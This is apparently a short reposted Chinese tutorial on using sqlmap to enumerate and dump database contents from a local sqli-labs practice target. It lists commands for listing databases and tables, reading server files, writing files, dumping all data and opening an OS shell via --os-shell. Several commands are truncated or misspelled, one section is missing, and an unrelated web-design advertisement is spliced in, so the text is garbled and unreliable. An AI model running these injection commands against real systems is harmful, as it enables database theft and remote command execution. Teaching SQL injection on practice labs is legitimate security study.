这篇文章给大家介绍注入工具sqlmap如何进行枚举信息,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。
主要从事网页设计、PC网站建设(电脑版网站建设)、wap网站建设(手机版网站建设)、成都响应式网站建设公司、程序开发、微网站、微信小程序开发等,凭借多年来在互联网的打拼,我们在互联网网站建设行业积累了丰富的成都网站建设、成都网站设计、网络营销经验,集策划、开发、设计、营销、管理等多方位专业化运作于一体,具备承接不同规模与类型的建设项目的能力。
一、列举数据库名
sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1" --dbs
二、列举数据库表
qlmap -u "http://192.168.1.121/sqli/Less-1/?id=1"-D security --tables
四、列举数据值
sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1">
五、列举schema信息,
--exclude-sysdbs 排除系统数据库
sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1">
六、检索表中数据的数量
sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1">
七、暴力破解数据
MySQL<5.0时,没有information_schema
--common-columns获取表名和列名,需要自己导入字典
sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1">
八、读取文件,
sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1" --file-read="C:\phpStudy\PHPTutorial\WWW\index.php"
九、写入文件
--file-write 本地文件
--file-dest 远程写入文件
sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1">
十、检索所有信息
sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1" -a
十一、执行系统个命令
sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1" --os-shell
关于注入工具sqlmap如何进行枚举信息就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。